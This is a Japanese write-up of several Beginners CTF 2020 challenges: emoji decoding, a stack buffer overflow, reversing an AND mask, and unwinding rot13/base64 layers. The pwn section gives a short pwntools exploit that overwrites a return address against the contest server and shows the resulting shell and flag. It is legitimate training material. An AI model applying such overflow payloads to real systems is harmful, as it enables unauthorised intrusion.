Beginners CTF 2020【Write up】
Misc
welcome
emoemoencode
emoemoencode.txtとして以下の文字列が渡されます。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
これがそのままFlagになることを考えると、🍣🍴🍦🌴🍢🍻はctf4b{になると考えられます。
そこでWikipediaでUnicodeのEmojiを見てみると、🍡(U+1F361)をaとしていることに気づいたのであとはプログラムを作成して求めるだけです。
s = "🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽" res = '' k = int(0x1F361) for i in s: value = ord(i) - k + 97 res += chr(value) print(res)
% python3 solve.py ctf4b{stegan0graphy_by_em000000ji}
pwn
Beginner’s Stack
$ file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b1ddcb889cf95991ae5345be73afb83771de5855, not stripped
$ checksec.sh --file=./chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 74 Symbols No 02./chall
BOFがあり、さらに親切にsystem関数と"/bin/sh"も用意されているので簡単です。
from pwn import * e = ELF('./chall') p = remote('bs.quals.beginners.seccon.jp',9001) ret_addr = 0x00400626 payload = 'A'* 40 payload += p64(0x04008c4) p.sendline(payload) p.interactive()
$ id uid=999(pwn) gid=999(pwn) groups=999(pwn) $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
Reversing
mask
stringsコマンドを実行してみると
$ strings mask /lib64/ld-linux-x86-64.so.2 7-2c libc.so.6 strcpy puts __stack_chk_fail strlen __cxa_finalize strcmp __libc_start_main GLIBC_2.4 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u3UH []A\A]A^A_ Usage: ./mask [FLAG] Putting on masks... atd4`qdedtUpetepqeUdaaeUeaqau c`b bk`kj`KbababcaKbacaKiacki Correct! Submit your FLAG. Wrong FLAG. Try again. ;*3$" GCC: (Arch Linux 9.3.0-1) 9.3.0 init.c crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.7393 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry mask.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable strcpy@@GLIBC_2.2.5 puts@@GLIBC_2.2.5 _edata strlen@@GLIBC_2.2.5 __stack_chk_fail@@GLIBC_2.4 __libc_start_main@@GLIBC_2.2.5 __data_start strcmp@@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init __bss_start main __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got .got.plt .data .bss .comment
atd4`qdedtUpetepqeUdaaeUeaqau
とc`b bk`kj`KbababcaKbacaKiacki
いう怪しい文字列があることがわかります。
さらにGhidraでデコンパイルしてみてみると
入力を1文字ずつ0x75とAND演算させた結果を格納している文字列と0xebと1文字ずつAND演算させた結果を格納している文字列の2つを作っていて、それぞれがatd4`qdedtUpetepqeUdaaeUeaqau
とc`b bk`kj`KbababcaKbacaKiacki
を一致していれば正しい入力であるという処理がされていることがわかります。
なので総当りでAND演算させて一致しているものを取り出せばいいのですが必ずしも一意ではないので0x75と0xebの結果の共通部分を取り出すことにしました。
s1 = "atd4`qdedtUpetepqeUdaaeUeaqau" s2 = "c`b bk`kj`KbababcaKbacaKiacki" res = '' d1 = [] for i in range(len(s1)): for j in range(48,126): if chr(j & 0x75) == s1[i]: res += chr(j) d1.append(res) res = '' d2 = [] for i in range(len(s2)): for j in range(48,126): if chr(j & 0xeb) == s2[i]: res += chr(j) d2.append(res) res = '' res = '' for i in range(len(d1)): res += list(set(d1[i]) & set(d2[i]))[0] print(res)
$ python solve.py ctf4b{dont_reverse_face_mask}
Crypto
R&B
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
というプログラムを用いて文字列をencodeしているようです。
プログラムからFORMATというRとBが羅列している文字列を用いてRのときはRを先頭につけてrot13でエンコード、BのときはBをつけてbase64でエンコードしているだけなので逆の処理を行うだけです。
FLAG = 'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==' while True: print(FLAG) if FLAG[0] != 'B' and FLAG[0] != 'R': break if FLAG[0] == 'B': FLAG = FLAG[1:].decode('base64') if FLAG[0] == 'R': FLAG = FLAG[1:].decode('rot13') print FLAG
$ python solve.py ctf4b{rot_base_rot_base_rot_base_base}